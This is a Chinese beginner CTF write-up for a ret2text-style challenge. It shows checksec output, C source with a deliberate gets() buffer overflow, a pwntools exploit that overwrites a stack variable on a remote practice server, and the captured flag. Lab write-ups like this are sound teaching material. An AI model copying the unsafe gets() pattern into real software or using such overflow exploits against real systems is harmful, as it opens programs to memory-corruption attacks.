PWN入门-ret2text-2

Fri Sep 13 2024

解题

checksec

使用checksec分析二进制文件

SH
1
2
3
4
5
6
7
8
9
10
checksec --file easy_overflow 
[*] '/pwn/easy_overflow'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

发现没有Stack处“No canary found”,推测可以使用栈溢出进行解题

附件

下载附件,发现附有源代码,打开源代码查看

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
int main()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    puts("Input something");
    char name[30];
    int number=0;
    gets(name);
    // 在此处出现if判断语句,当number不等于0的时候,输出flag
    // 推测可以使用栈溢出的方式覆盖到number,修改number的值,使得if判断可以执行
    if(number!=0){
        puts("You win.");
        system("cat flag");
    }
    return 0;
}

编写exp

从IDA里可以看到number函数值的位置在(0x30-4)上

PYTHON
1
2
3
4
5
6
from pwn import *
#io=process("./pwn")
io=remote("node5.anna.nssctf.cn",26234)
payload=b'a' *(0x30-4)+p32(0x02) # int的函数是32,修改 number = 2
io.sendline(payload)
io.interactive()

获取flag

SH
1
2
3
4
5
6
7
python3 exp_easy_overflow.py       
[+] Opening connection to node5.anna.nssctf.cn on port 26144: Done
[*] Switching to interactive mode
Input something
You win.
nssctf{0h_You_OverFl0w_the_pr0gr@mm}
[*] Got EOF while reading in interactive